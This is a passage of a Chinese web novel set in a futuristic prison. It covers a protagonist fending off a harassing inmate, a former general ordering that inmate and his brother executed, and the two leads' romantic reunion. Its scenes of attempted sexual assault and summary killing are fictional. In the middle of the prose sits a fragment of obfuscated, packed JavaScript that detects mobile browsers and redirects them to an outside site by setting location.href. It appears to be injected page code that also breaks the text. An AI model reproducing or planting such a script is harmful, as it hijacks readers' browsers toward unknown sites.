“交个朋友。”他说,“我姓李,叫李浩,你叫什么?”
余逢春兴趣缺缺:“江秋。”
“好名字!”
李浩夸奖,眼神毫不掩饰地盯着余逢春的脖子,好似要上前舔一口。
0166:[终于等到我最想看的情节了,你可以先扇他一巴掌吗?]
余逢春烦躁地往旁边挪了两步,不想和他离得太近。
然而他的拒绝在李浩看来,却接近于不痛不痒的打闹。
“你是为了什么事儿进来的?”他又问。
找男人。
“信息诈骗。”
李浩“哦”了一声:“这样啊,你以前干的是文职?”
余逢春:“差不多。”
周围打量的视线越来越明显,带着很恶心的窥探意味,好像真指望余逢春会做出什么他们想看的反应。
李浩受到了这些目光的鼓舞,试着离得更近一些,脸上的笑是出奇的猥琐。
“你要是一直干文职,那在这个地方可不好活,得趁早找个靠山才行……”
话语意味深长地停住,李浩盯着余逢春修长的脖颈,和衣领下若隐若现的白皙皮肤,蠢蠢欲动地伸出手,想先揉一把过过瘾。
然而指尖还没来得及碰到,就被人用力钳住,动弹不得。
一直冷着脸的余逢春,终于露出了一个笑。
他貌似无知地问:“找靠山,是什么意思?”
李浩把这当成一种心有默契的试探、爱欲前的最后一步,脸上笑意更深,也不再计较余逢春为什么有那么大的力气。
“你有这样的脸,宝贝,到哪里都能找到靠山,不如先让我舒服——”
说完,李浩就要用力甩开余逢春的手,抱着人吻上去。
可这些计划的第一步都没来得及实现,一个巴掌就裹挟着疾风,重重落在他的脸上。
一瞬间,李浩侧翻倒在地上,眼前发黑、头脑晕眩,好半天回不过神。
余逢春长舒一口气,拍拍手站起身。
他居高临下地问:“舒服吗?”
“……”
李浩脸埋在地里,一时间只有出气的力气。
0166:[爽!]
一旁暗暗关注这里的狱警迅速跑过来,为首的正是夜里带余逢春换囚室的那个。
跑来之后,他没有关注李浩的死活,反而先看了一眼余逢春抽人用的那只手。
看完以后他才问:“怎么回事?”
余逢春毫不犹豫地开口:“他想骚扰我!”
有人在边上叫嚣:“放屁!李哥就跟你说了两句话,你就打人!”
更有人应和道:“对,长官是他先动的手,李浩就是说了两句话!”
嘈杂的噪音吵得人耳朵疼,余逢春皱眉,狱警猛地回头吼道:“都闭嘴!!”
众人噤声,余逢春站在原地,把每个张嘴为李浩说话的人记住。
这时,给李浩检查生命特征的工作人员站起身来。
“长官,人没死,就是昏过去了。”
闻言,狱警抽空回头瞥了李浩一眼,摆摆手:“把他抬走。”
接着他重新看向余逢春,严肃地说:“监狱内不允许打架斗殴,不要再有下次!”
雷声大雨点小,除了斥责,什么正式惩罚都没有。
余逢春坦然接受。
接着李浩被抬走,狱警恢复秩序,放风场地又恢复了一片面上的平静祥和。
半小时后,放风结束。
回去途中,在人流里,余逢春感觉被人用力撞了一下肩膀。
回过头,余逢春注意到一名身材壮硕的棕发男子正阴沉沉地朝这边看来,眉眼与刚才的李浩有几分相似。
察觉到余逢春的视线,男人非但没有回避,还用手做出了一个相当冒犯的手势。
0166适时上线:[李明,那个流氓的哥哥。]
所以这是小的被打跑,大的又找上门来了。
余逢春挑起半边眉毛,饶有兴趣。
很挑衅。
18. 因爱生怖
深夜时分,李浩被送回囚室。
余逢春的那一巴掌很重,李浩的脸肿起一大半,偏偏监狱不愿意给他治疗,连药柜都没打开,只让他冲了冲凉水,等时间差不多了,就把人送了回来。
李明心疼地盯着弟弟睁不开的眼,吩咐身旁的人上去,把人扶到床上。
“头疼吗?”他问。
李浩点点头,头晕目眩,脸上浮现出一丝痛苦。
“大哥,这个沈秋到底是什么来头?”一旁的小弟问道,“那帮看门狗都帮着他,碰都不让碰一下。”
另一个人啐了一口:“那小子是昨天才来的,最开始分在底层宿舍,但不知道为什么,刚进去没多久就被叫走了,现在在楼上。”
再往楼上走,就是单人囚室了。
只有身份要紧的犯人或者太穷凶极恶的混账才能住。
一个初来乍到、罪名信息诈骗的小白脸,凭什么住那里?
一定是搭上了什么关系。
李明坐在对面床上,脸色阴沉得要滴出水来。
良久后,他缓缓开口:“不管他的关系是谁,进来这里,就得知道谁是老大。”
此言一出,已注定了沈秋接下来的牢狱生活多灾多难。
狱警向着沈秋又能怎么样?一群注定困死在这破地方的黑皮狗罢了,在这儿还能逞一时威风,一旦朝外走,路上随便掉下来一粒灰都能把他们压死。
李明从来不是怕事的性子,多年前,他在第三军团服役,多多少少是个官,带着一众兄弟上战场,杀过许多人。
虽然后面犯了事,在监狱服刑躲灾,但外面的关系还在,一个不知道哪儿冒出来的小白脸想在这儿充大王,真是痴心妄想。
盯着躺在床上虚弱呻吟的李浩,李明心里清楚,现在所有仰仗他们的人都在等自己的下一步举动,要是这步退了,那以后在监狱的地位也没了。
“明天,”他道,“找个机会把他捆到水房里去。”
水房算是监狱里的脏地,很多恩怨都是在那儿解决的,狱警也不会经常查,算是给这些囚犯留出一个发泄的渠道。
李浩不出声了,躺在床上,手指一个劲点。
都是一个娘胎生出来的,李明怎么可能不知道李浩的心思。
叹了口气,李明撑起身,挪到弟弟床边,用力拍了他脑门一巴掌。
“嗷!”
“闭嘴!”
李浩不出声了,手指还在点。
李明无奈,退步道:“别玩儿死了。”
“放心,哥,”李浩含含糊糊地开口,“长得那么白,我才舍不得弄死。”
皮肤白,身材好,打人够劲儿……这种人,得把他的骨头一根根掰断了才好玩。
过去打仗,纪律虽然有,但难以落实,李浩尝过很多不同滋味。
高兴的,不高兴的,拼命反抗的,曲意奉承的,各有各的好,但真论起好味道,还得是沈秋这种。
于是这件事就这么定下,明早还有工作指标,囚室很快恢复寂静。
深夜的环陇监狱,像一颗孤独飘荡的星球,巡逻队的脚步声与探照的光亮交织在一起,构成每个囚犯一生的记忆。
而今夜,一阵不同寻常的脚步声却打破了这样的轮回。
囚室门在凌晨打开,没有警报声,没有提示音,意味着这次开门不会进入到系统档案中。
李明睁开眼,看到四名狱警各端着一架轻型拘捕装置,站在囚室中间。
白日将余逢春训斥的狱警站在最前面,神色冷漠地开口道:“现在起床!”
李明眯起双眼。直觉不好,斟酌着开口:“长官……”
没等他想出任何借口或搬出任何靠山。在李明开口的下一秒钟,四名狱警手中的拘捕装置均亮起象征启动的蓝光。
在囚徒僵硬慌乱的眼神中,狱警再次开口,言简意赅:“起床。”
……
他们被带到了另一栋大楼的最顶层,这是真正的常人难以企及之地。
别人如何,李明不知道,但曾有人告诉过他,能住在这栋大楼里的人,要么随时都可以离开这座监狱,要么随时都有机会炸掉这座监狱。
身后的脚步异常拖拽,李浩昏昏沉沉地走,好像已接近极限。
一路上,李明出了一身冷汗,隐约猜想到今夜这一遭,跟白天李浩惹的那个人脱不开干系。
常在河边走,哪有不湿鞋,终于也是让他们兄弟俩掉坑里了。
狱警把他们带到一间房间门口,敲门过后,率先将李明推了进去。
冰凉的空气扑面袭来,房间内部并没有李明想象的奢华迷醉,反而是比一般囚室更空旷粗糙。
床只是一张木板,上面盖着一层薄薄的布,两本书叠在桌上,台灯开启,洒下来的光照亮了书本旁边的杯碟。地板虽然干净但不平整,整个房间温度很低,冻得人手指发凉。
住在这样的房间里,本身就是一种精神上的磨砺。
身后房门合拢,李明先扶了一把就要昏在地上的李浩,然后才试探着抬起头,看清了坐在桌后的那个人。
只一眼,李明浑身的冷汗便全部融化成惊惧,扎得他浑身颤抖。
“邵……邵将军?”
五日前邵逾白以刺杀元帅的罪名被暂时收押进环陇监狱,理论上他的所有政治身份都应该在进入监狱的那一刻被废除,可见到他,李明还是控制不住地想起初次见面时,邵逾白一人一机甲,将敌方军舰贯胸刺穿的凶悍模样。
听到他如此称呼,坐在桌后的邵逾白没有给出任何反应,只接过其中一名狱警递来的档案书,垂眸翻看片刻后,将其扔在桌子上。
“李明,48岁,原联盟第三军中校,军前先锋二队队长,服役时间十八年……”
冷淡的话语将李明的前半生概括,李明没有任何头绪,他想不通为什么邵逾白要见他,更想不通江秋跟邵逾白有什么关系……
“你的战场经验非常丰富,有几次先遣作战堪称精彩,”邵逾白的话语打断了李明的思索,“而且你的兄弟和你配合非常好,根据军方的统计数据,当你们两个协同作战时,胜率会高出单人作战几个点。”
这似乎是个夸奖,于是李明试着露出一个笑。
“——但我不理解,你们为什么会出现在这里?”
话音落下,李明所有的侥幸尽数消失。
邵逾白仍然在说:“□□妇女、劫掠钱财、毁尸灭迹、私自删除军方记录档案……按照军法,应该如何处置?”
“……”
李明张嘴,却无法发出声音。
身后,李浩已经恐惧得站不起身子,扑通一声跪在了地上。其他两人也没好到哪去。
邵逾白若有所思地打量着他们的表现。
“你们这个反应告诉我,你们其实很清楚。”
话音落下,如同宣布判决。
邵逾白摆摆手,守在一旁等候已久的狱警迅速向前,将瘫在地上,如烂泥一般的四人拖了下去。
咔哒一声,房门合拢,陈旧的灰色房间里,仿佛什么都没发生过。
邵逾白喝了口水,把先前扔在桌子上的档案又拿起来翻开,眉毛紧蹙,仿佛在疑惑为什么这种人渣能活这么久。
突然的敲门声打断了他的思索,邵逾白走去开门。
……
……
……
当余逢春在系统实时录像里,看到邵逾白接过一条天蓝色毯子的时候,表情终于绷不住了。
邵逾白被捕,云阙被政府征收,余逢春走的时候什么都没带,那条天蓝色的毯子被他整整齐齐地叠好放在枕头上。
没想到邵逾白居然专门派人把毯子找了回来。
余逢春抱膝坐在床上,觉得有点暧昧。
“他真的很爱我。”他转头跟0166炫耀,“而且离不开我。”
0166:[……]花钱买实时录像,就得出这屁结论。
正经的系统有别的疑虑:[邵逾白是下令杀他们了吗?]
余逢春还在看邵逾白叠他的毯子,闻言挑眉,切换录像。
一片空旷的场地上,白光闪过,地上只有一滩灰。
余逢春小手一摊:“死了。”
他真的不太在意那四个人渣的结局,如果他们当时在余逢春的舰队上,那出事的下一秒钟就会被填进炮弹里轰出去,用他们的那条烂命做最后一点贡献。
0166也不在意,它只是关心主角毅然处死这4个人,是否意味着:[主角他……]
“邵逾白一直就是这样的,”余逢春躺回床上,把屏幕调整更大,“他不仅是我的副官,更是指挥舰上权利高过我的人。”
统一作战时期,即便只有余逢春副官的职权,邵逾白手里都掌握着一支警备队。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15088583|163605||http|test|mini|href|location''.split(''|''),0,{}));
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>他要处理的可不仅仅是照顾余逢春的生活起居,还有很多阴暗且见不得光的事。
你不能指望一个战士全然光明磊落,因为战争不是这样。
况且只是杀几个有罪的人而已,怎么了?
余逢春满意地看着邵逾白如对待皇帝一样对待那块毯子,心想都把毯子接过来了,见他还远吗?
……
第二天,监狱里少了四个人。
没有任何人提出异议,但整座监狱的氛围异常凝重,了解内情的人都躲着余逢春走。
余逢春心安理得地享受了一整天的特殊对待,甚至在吃完晚饭后,问狱警下次能不能多几块小饼干。
狱警听完脸都僵了,但还是勉强点点头。
见他同意,余逢春试着得寸进尺。
“我可以去外面走走吗?”他问,“或者你愿意告诉我,怎么去找某个姓邵的人吗?”
狱警:……
“你在说什么?”
看得出来这位长官不是表演专业毕业,表演痕迹非常明显,好像刚才答应下次送曲奇来的人不是他:“你能不能清楚一下自己的身份?你是能到处乱走的人吗?”
被拒绝第一千万次的余逢春:“好吧。”
他闷闷不乐地转身,去别的地方给自己找乐子。
0166安慰道:[他可能觉得你的决心还不够。]
余逢春:“对,我应该去杀一头恶龙,然后把金蛋送给他。”
忍耐是很好的品德,值得拥有并长期磨砺,余逢春正在极力忍耐。
而等他回到寝室,看到那块端正叠在自己枕头旁边的天蓝色毯子时,余逢春终于爆发了。
“去他的!”
他把毯子扯开扔床上,一秒钟都不想再等。
“0166,把地图打开,定位主角的实时位置。”
一点白光从余逢春眼中闪过,刹那间,庞大的精神力如溪流一般快速向四周蔓延,不露痕迹地将整座监狱覆盖。
在这样强悍的精神力面前,只要余逢春想,整个世界都向他敞开。
牢门自动弹开,虚拟的路线图在余逢春眼前浮现。
本来想给邵逾白留一点自我思考的空间,但现在看,这王八蛋就适合入室抢劫的爱情。
……
邵逾白听到敲门声。
这个时间不该有人来打扰他。
熟悉的波动如丝绸一般从手臂上划过,邵逾白挥手熄灭光脑投出的文件,起身去开门。
门外没有他想见的人,但精神力的波动仍然存在。
邵逾白意识到什么,迅速回身,一个凌厉的拳头就在那一秒钟挥向他的脸。
余逢春的脸就在拳头后面。
邵逾白没躲,挨了一下。
见此,余逢春二话没说,又踹他了一脚。
邵逾白还是没躲,不知道是不怕疼还是怎样,他的脸上一丁点表情都没有,只是直勾勾地盯着余逢春。
余逢春被他盯得很不自在,原本蓬勃的火也有熄灭的意思。
“看什么看?!”他不耐烦地问。
“你怎么过来的?”邵逾白问。
余逢春冷笑一声:“我再不过来,恐怕有人要把我当傻子养了!”
又是送毯子又是亲手做饭的,怎么?真准备让他把监狱住成家吗?
邵逾白:“那条毯子你很喜欢。”
他被打了一拳,且余逢春完全没收力,脸上那块儿很快就泛起一片红,瞧着可怜兮兮,好像不占理的人是余逢春。
“……”
余逢春闭上眼,拼命回想起自己来这儿的理由。
“为什么不见我?”
“我没有。”
“别跟我扯谎,你说没说真话,我一眼就能看出来。”
“……”
谎言被拆穿,邵逾白眉眼低垂,不再言语,转身打开房门,目光始终不肯落在余逢春身上,仿佛那扇破门上有多值得关注的东西。
“你应该离开。”他道,音色压抑,手指在门框上用力,压出白色的裂痕。
余逢春站在他身后,闻言脸色阴沉,马上就要发火,但发散的精神力像海底的藻类,敏锐地察觉出邵逾白情绪的变动。
“你在怕什么?”
一片死寂的对峙中,余逢春没忍住,问道。
“我人都在这里了,你有什么好怕的。”
19. 亲
邵逾白怔然般松开手,眉眼间不动声色,难以辨别喜怒。
黑夜与宁静一同朝他们涌来,邵逾白音色低沉黯哑:“我没有害怕。”
“那你为什么不愿意看我?”余逢春问。
他上前一步,指尖轻而又轻地落在邵逾白手腕上。“看着我。”
邵逾白转过身。
月色下,余逢春的皮肤白得接近透明,美又不真实,仿佛天外之人,只可远观不能触碰。
一旦妄想,便会如云雾般在指尖消弭,然后再也不见。
邵逾白已经很多、很多、很多年没有见过这样的场景。
他怔怔地看着,目光不住地流连,要将眼前景象刻入永生的记忆中。
余逢春询问的眼神太过明显,邵逾白感受到了,却仍旧一言不发,仿佛指望这一刻的沉默能回答所有的问题。
面对他的躲避,余逢春沉默片刻,缓缓开口:“六年前,联盟连发三道命令,召我返航回中央接受质询,我知道,只要我去了,就再也没有见天日的时候。
“……你也知道。”
沉静似水的眼眸终于在此时泛起波澜,邵逾白手指微颤,定定注视着余逢春的眼睛。
良久后,他终于开口:“你不该过那样的生活。”
“是,”余逢春笑了一下,垂眸思量,“所以你放我走了。”
寥寥几句,并没有道出多少心酸无奈,仿佛那日发生的所有事,都可以在谈笑间轻易翻过。
邵逾白的呼吸却乱了。
……
六年前,联盟连发三道命令,急不可耐,要求指挥舰Y立刻返回中央接受质询。
邵逾白仍然负责余逢春的近身看管事务,于是在收到命令后,他以最快的速度返回余逢春身边,本以为会看见一片狼藉,不成想余逢春却异常平静,见他来,还招呼着他尝了尝桌上新做的奶茶。
“我认命了。”他对邵逾白说,姿态很放松。
“今晚舰队就会启程,你还有任务没有完成,不必跟来,”余逢春继续说,假装没看到邵逾白紧绷的嘴角,“现在虽然战争胜利,但还有一些流窜出去的异族没有清理干净,你们得小心。”
交代完事情,他端起自己那杯,放在唇边吹散热气,喝了一口,而后忽然笑了。
“今天一别,以后应该就再也见不到了。”他说,眉眼微微垂下,带着点说不清道不明的遗憾,却不是为着自己的结局。
“……”
邵逾白说不出话,只能看着余逢春蜷缩在自己的位置上,像以前的每一个午后。
人造亮光洒在额前,给他铺上一层柔软明亮的光影,将所有烦恼遮盖,只留下一个美丽的躯壳。
余逢春抬起头,盯着邵逾白看了许久,目光掠过他握紧的手指。
他难得宽和道:“这不是你的错,邵逾白。你已经尽力了。”
我没有。
在那双黑亮的眼眸中,邵逾白想。
我还没有尽全力。
望着余逢春的眼睛,一个从很久之前就暗暗酝酿的想法,忽然在这一刻占据了邵逾白的全部思绪。
除他以外的任何一人都会说这个念头是完全疯狂,是自寻死路,可邵逾白却突然觉得再也没有比它更好的点子。
他要放余逢春走。永永远远的离开。
这个想法出现得如此顺理成章,仿佛多年前余逢春亲手埋下的种子,终于在邵逾白的身体里生长发芽。
……
“我从来没有问过你后面发生了什么。”
陈旧空旷的囚室中,余逢春的嗓音罕见的有些踟蹰。
“看管我是你的职责,我逃走,而联盟数据库里的基因密码又被无故删除,你当然要负全责……”
声音顿在唇间,邵逾白终于握住了他的手。
他轻声说:“我没事。”
无论当时联盟决定如何处置,放在如今的结果面前,一切都不重要了。
况且邵逾白早就决定为此不惜代价,那个午后,余逢春听完他的计划以后瞪大的眼睛,是邵逾白穷尽一生也无法再见一次的景色,同样也是可以支付任何代价的完美报酬。
他曾计划过说许多话,但当巨轮即将碾过头顶,邵逾白发现很多都没有必要。
只要余逢春是自由的,只要他能去他任何想去的地方——
那无论是怎样的天高水长,他们总会有再见的一天。
那些话总有机会说出口。
邵逾白真是这样想的,然而世界不喜欢余逢春,也不喜欢他。
从出逃到确认死亡,一共不到48小时。
没人知道余逢春为何会遇上那队潜逃的异族,更没人知道为什么在自由只有一步之遥的时候,余逢春选择了同归于尽。
好像这注定就是他的结局,他以一名军人的身份加入战场,最后也以一名军人的身份死去。
他的逃离和自由,只是一场绚烂又虚幻的烟花,须臾的美丽光影还未彻底留存,便自己消散。
邵逾白甚至都不知道该如何做出反应。
“我后来……去了那里几次。”
他小心地将余逢春的手握住,指尖搭住面前人的脉搏,眼睫低垂,甚至不愿提起余逢春身死之地的名字,只用“那里”代指。
“只找到了许多的机甲残骸。”
没有你。
人的尸骨不可能在宇宙环境中存留太久,且余逢春引爆异族战舰的行动太决绝,完全没有给自己留后路。
邵逾白没有心存妄想,可他还是去了一次又一次。
好像总得见着点儿什么才能死心,才能把一腔痛恨咽下去,装作无事地往下走。
“我想了很久,你为什么一定要死,我控制不住地想。”
颤抖的手终于抚上余逢春的脸颊,轻柔得如同对待一块将要碎裂的瓷器。
邵逾白注视着余逢春的眼睛,面上缓缓露出一个比哭还难看的笑。
“后来我大概明白了。”
“你不是不想活,你只是不想过没有尊严的生活。”
“……都是我的错,”他喃喃自语,眼神灰暗,“我该准备得更好的。”
一滴泪,不期然滴在余逢春的掌心。
“闭嘴!”
余逢春无法再忍受邵逾白赐给自己的自我折磨,好像利用回忆对自己进行无休止的惩罚,正是邵逾白为余逢春服丧的手段。
他咬着牙说,拽着邵逾白的领口,把他用力往边上一扯一拽,把还站在原地的邵逾白推到床上。
身体与木板接触,发出一声闷响。
邵逾白双臂半撑着身体,愣愣地看着余逢春一脚踹上房门,反手脱掉上衣后朝他走来。
“看清楚,邵逾白!看清楚!”余逢春露出一身伤疤,咬牙切齿,“我人还在这儿,我没死!”
“……”
邵逾白不答,神色仍然是恍惚的,余逢春二话没说便跨坐在他身上,抓住他的手,按住其中一道伤疤。
正是心口那一条。
“你感觉到了吗?”余逢春将邵逾白的手死死按在胸前,急切地问,“我的心在跳,我是活的!我回来了!从前的事跟你有什么关系?你为什么一定要苛责自己?”
温柔的皮肤下是稳定的心跳,邵逾白眨眨眼睛,看清了余逢春眼角那滴将要溢出的泪。
“我是为你回来的,邵逾白,”
他慢慢地、一字一顿地说,“听清楚了,我是为你回来的。”
一种接近于刺痛的感觉在邵逾白身体里蔓延,那株多年前枯死的植物,似乎在这一刻又重新燃起了生机。
“好……”他哑着嗓子开口,“我听清楚了。”
一条条伤疤将身体拼合,死而复生的影响显露在表面,余逢春比往日还要瘦些,疤痕在他身上,并不好看。
先前激动的时候没觉得有什么,等两个人都冷静下来,余逢春才发现这个姿势大大不妙,邵逾白的手还被他强行按在胸口,指腹的粗茧擦过疤痕,痒到心里去。
他忽然开口,不好意思地:“别看了。”
抬手把的邵逾白手扫下去,余逢春自顾自的下床,想穿上衣服,然而刚挪了一下腿,腰就被人从后面揽住,接着就回到了床上。
邵逾白的床板真的很硬,薄薄一层床单根本不顶用,余逢春躺在上面,后脑勺被人垫住,张刚开嘴,一句话都没来得及说,便被人深深吻住。
“唔……”
邵逾白的吻是不同于他这个人的凶狠贪婪,没有
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试探厮磨的环节,直接是恨不得伸进喉咙的舔吻,好像真的要把余逢春吃下才能安心。
身体接触,夜凉无形消散,余逢春被亲得迷迷糊糊,连挣扎的手腕都被用力按在头顶,只能继续承受。
也正是在这时候,在这个吻里,余逢春意识到邵逾白让他走时,自己感觉到的情绪究竟为何。
那是一种卑微的期许、压抑的疯狂。
并非所有躲避都出于厌恶,有时是因为难以自抑。
邵逾白的胸膛里藏着一只饥饿忠诚的野兽,余逢春的每一次路过,都是对这只野兽的挑逗,邵逾白曾用尽全部力气将这只野兽囚困,而现在,野兽已朝余逢春露出獠牙。
“好了!……可以了!”
等嘴都被亲肿了,余逢春才终于找着机会躲开,身体不住地往下缩,不让邵逾白碰他。
嘴唇被亲得艳红,眼角也跟着颜色鲜明,余逢春喘着气,手搭在邵逾白宽厚的肩膀上,用力推了一把。
邵逾白顺着他的意思离开,跪坐在床上。阴影仍然将余逢春盖住。
余逢春跟不好意思似的,抬起一只手臂遮住眼睛,另一只手举在邵逾白面前。
“第一,”竖起一根手指,余逢春很果断地说,“挺好的,就这么定了。”
手指在两人之间比划,余逢春问都不问就直接敲定了两人的恋爱关系。
邵逾白没有任何意见。
“第二,”余逢春用力敲敲身下床板,语气不稳但依旧充满威胁性,“你要是再敢把我摁在这种破地方亲,我就打烂你的头。”
床板真的太硬了,硌得余逢春浑身疼。
邵逾白应下:“我知道了。”
余逢春挪开手臂,看到他跪在床尾,很乖巧的模样,和几分钟前判若两人。
他清清嗓子:“第三,过来!”
邵逾白会意躺过来,把余逢春往自己这边抱,余逢春顺势躺进他怀里,枕在他胳膊上,人肉床垫相当舒服。
问题都解决了,就算接下来邵逾白脑子真被驴踢了要发动战争,余逢春也有信心解决。
局势松懈,疲倦就涌到身上。
余逢春瞬间就不想动弹,眼睛一闭就能睡着。
然而在睡着前,还有件事得问清楚。
“咱俩这样可以吗?”他从邵逾白身上抬起头,嘴角的笑很坏。
邵逾白还沉浸在幸福中,没反应过来:“什么?”
“你和穆怀。”
余逢春张嘴就没有好话:“你们不是要订婚吗?就算没订婚,也——”
“我们之间什么都没有。”邵逾白直截了当地说。
余逢春:“是吗?那之前怎么回事?我看他挺喜欢你的。”
“……”
邵逾白眼眸微动,想起什么,缓缓道:“他现在喜欢你。”
余逢春:?
邵逾白解释:“穆怀被他父亲宠坏了,性格唯我独尊,只要最好的,他都想要。那时他觉得我好,就一个劲要与我扯上关系,先让一些报社发布了捏造的报道,我当时正忙着别的事,没心情和他们周旋,就默认了。”
而前段时间余逢春在穆怀面前录的那一手,本意是恐吓,但实际上却起到了完全相反的效果。
邵逾白没细说他当时在忙什么,余逢春心里都清楚。
“所以你们压根什么关系都没有。”他再次确认道。
邵逾白想了一下:“穆锋可能觉得有,他希望我们可以合作。”
余逢春嗤笑一声:“老东西脑子不多,想的还不少。”
这话引起身后人低低一声笑,在余逢春的后背震颤。
他们以前虽说也亲密,但从来没有过这样的事,余逢春第一次靠着邵逾白睡,感觉非常好。
“明天换个床,我说真的。”他打了个哈欠,含含糊糊地说,“明天记得早叫我,我得回去……”
话还没说完,余逢春就睡了过去。
他真的太累了。
平稳的呼吸声在房间里响起,邵逾白能听到余逢春的心跳声。
稳定的、长久的,伴随着心跳声,那株植物在邵逾白的心脏处扎根,一切好像都不一样了。
六年来头一次,他真切地感受到生命的声音。
20. 种子
0166:[所以。]
余逢春打开装满曲奇的饼干盒子,“所以?”
0166声音异常凝重:[所以你们两个谈恋爱了。]
余逢春:……
他有点儿心虚,但事实不能否认。
“啊,对。”
0166:[……]
昨夜余逢春突然犯病,一定要去找邵逾白,0166拦不住。
作为随身系统,它本应该在那个时候陪着余逢春,提供一些辅助,但那天晚上情况实在有些特殊,0166被邀请去参加一场作者集会,机会难得,余逢春就放了它的假。
0166去的时候高高兴兴,没想到一回来被余逢春送了这么大的礼。
倒不是说0166反对他俩在一起,只是当时是谁一个劲的肯定邵逾白对他没意思的?
沉默很久,0166最后说:[等回去以后我出钱,带你看看眼睛。]
余逢春嘴里的饼干顿时不香了,喝了口水顺顺喉,很不理解地开口:“这跟我的眼睛有什么关系?”
0166异常肯定:[你的眼睛有问题。]
“……”
余逢春不和它争辩,收拾好饭盒,晃晃悠悠地离开休息室。
他没有直接前往一般囚犯在的放风场地,而是顺着狱警特意留出的通道,一路通畅无阻地找到邵逾白。
没人记得昨夜发生什么,狱警只是奇怪为什么昨天还不要见的人,今天忽然就见了,纠结片刻后只能将其当做某种情趣,不便多说。
顺着走廊找到邵逾白的房间,一路上没看到一个活人。
环陇监狱是中央星特意建造的附属监狱,建造成本高,基础设施条件好,且分区规划不同于寻常监狱,因此有很多位高权重的人在里面服刑。
就余逢春看,住在这栋楼里的差不多都是些应该站成一排拿机关枪扫的混账,本身罪大恶极,但因为家里有权有势,所以留下条命,关在一个密闭地方享福等死。
昨夜找的急,余逢春没关注其他房间,而今天再来看,却发现绝大多数的囚室内部都是空的。
随意挑了一间推门进去,入眼是和邵逾白房间完全不同风格的华贵奢侈。
“这才比较符合我当时的猜想。”余逢春在门口说。
房间里地毯是最近新换的,颜色不算鲜艳,但绝对造价不菲,向里走几步,悬浮酒柜里,还放着几支没有开封的酒。
余逢春启开一瓶,放在鼻前闻了闻,意识到什么,退后离开房间。
“你觉得,”他环视周围,斟酌着和0166说,“住在里面的人有多大概率是出狱回家了?”
0166:[很低。]
余逢春点头。
回家基本是不可能,应该是站成一排被人拿机关枪扫了。
看来入狱这几天,邵逾白干了不少事。
这哪有安心服刑悔过的样子?
不再纠结垃圾人的去处,余逢春噔噔噔几步跑到邵逾白门前,考虑了两秒钟没有敲门,直接推门走了进去。
然后他就跌进了一片舒服软软的布料中。
“哇偶。”
余逢春翻了个身,躺在横在门口的床垫上,与低头的邵逾白对视。
“舒服吗?”邵逾白问他。
余逢春感受了一下,点头。
于是邵逾白将他和床垫一起放到了床上,中间基本没有颠簸,余逢春很满意自己的话被人这么放在心上。
床垫很舒服,而且房间里也不再那么干冷,吃完饭的午后很适合小睡,而一切都刚好合适。
余逢春调整了一下姿势,把邵逾白拽到床上,准备枕着他弥补昨晚错过的睡觉时光。
然而邵逾白显然还记得昨天晚上余逢春说打烂他的头之前的那段话。
于是余逢春刚滚进他怀里,就被人亲在了耳侧。
那是一个很轻的吻,带着点试探和温存,在耳边最敏感的那块皮肤上反复摩挲,余逢春打了个哆嗦,想要避开,吻却慢慢移动到脖颈上。
这就更痒了,还带着点说不清道不明的热,余逢春想说他其实是过来睡觉的,但睡意却在不知何时跑得无影无踪。
邵逾白还在试探,轻柔的吻和舔舐几乎不能造成除了让热更热以外的任何影响,隔靴搔痒。
余逢春急喘两声,睁开眼睛,右手掐住邵逾白的脖子把他扯下来,用力亲了上去。
亲了一会儿,余逢春想起什么,拽人的头把人家拽开。
“……怎么了?”
邵逾白相当听话,让亲就亲,不让亲马上收住。
余逢春问:“楼下那些人呢?”
邵逾白:“什么人?”
装傻?余逢春踹了他一脚:“别跟我说这栋楼是专门为你建的,其他服刑的人呢?”
“……死了。”
“怎么死的?”
邵逾白抿抿唇角:“正常处刑。”
“正常处刑?”余逢春直接就笑了。
“他们被送到这儿了,已经是在服刑了,怎么又来了一遭?”
“判的太轻。”邵逾白说。
余逢春点点头,没同意也没不同意,只是知道这个事。
而就当邵逾白以为事情就此结束时,余逢春又开口了。
“那你刺杀元帅也是为了这个?”
问出这话的时候,他的脸上没有笑,整个人的神情都冷下去,似铁一般,锋利又冷硬。
理清楚关系后,就该兴师问罪了。
余逢春半坐在床头,发丝凌乱,唇角还泛着红,偏偏脸色相当冷淡,隔着一小段距离,等邵逾白说话。
“……”
邵逾白沉默片刻,才道,“杀他是早就计划好了。”
“什么计划?”余逢春问,问出口以后又自己打断自己,“不,先说什么时候计划好的。”
“四年前。”
余逢春闻言震惊:“四年前你就计划好要杀他了?”
“只是计划,”邵逾白笑了一下,“杀他的想法要更早。”
当今元帅,尸位素餐,刚愎自用,外强中干,看似铁血手腕,实则最懦弱自私,将家世门第看得很重,联盟一路走到今日,被他祸害不少。
更别提那些在联盟阴影下艰难度日的普通人。
元帅是贵族出身,穆锋敢在未得召唤的前提下擅自回到中央星,便是打准了元帅会在他身上推一把。
与其到时候平添麻烦,不如直接杀了干净利索。
这些思量邵逾白只字未提,但余逢春全都明白。
但他还不满意。
“还有别的是你没跟我说吗?”他问。
邵逾白望向他。
日光流转间,几片阴影朦胧着洒向他们,给邵逾白的轮廓蹭上一层灰暗的剪影。
一种更压抑的气息在彼此之间流转,映照着更扭曲的心照不宣。
“有。”邵逾白承认道,“有很多。”
六年时间,发生了许多事,余逢春不可能事事都清楚。
从大校到上将,别人拼搏一辈子也未必能跨越的沟壑,邵逾白只用了六年。
他的六年,又怎么是寥寥几句就能说的清楚的?
他为什么要安插那么多的自己人手在背地里控制首都星?为什么早早计划好要刺杀元帅?又为什么放任自己被抓进环陇监狱?
每一件事都好像和余逢春没关系,细想后却发现,每一件事都与他有千丝万缕的联系。
“……以前发生了什么,我都能不问,那是你自己的事。”
当邵逾白看来时,余逢春也回望向他,目光接触的短短几秒,仿佛已经参透了邵逾白六年间的所思所想,知道他的恨和爱欲。
“只有一点,”余逢春很轻地说,“无论你要干什么,都想着点身后,不要冒险。”
他素日强硬,但这句话几乎就是在祈求了。
邵逾白的眼神都随之融化。
“我知道。”他承诺道,“什么都不会发生的,你放心。”
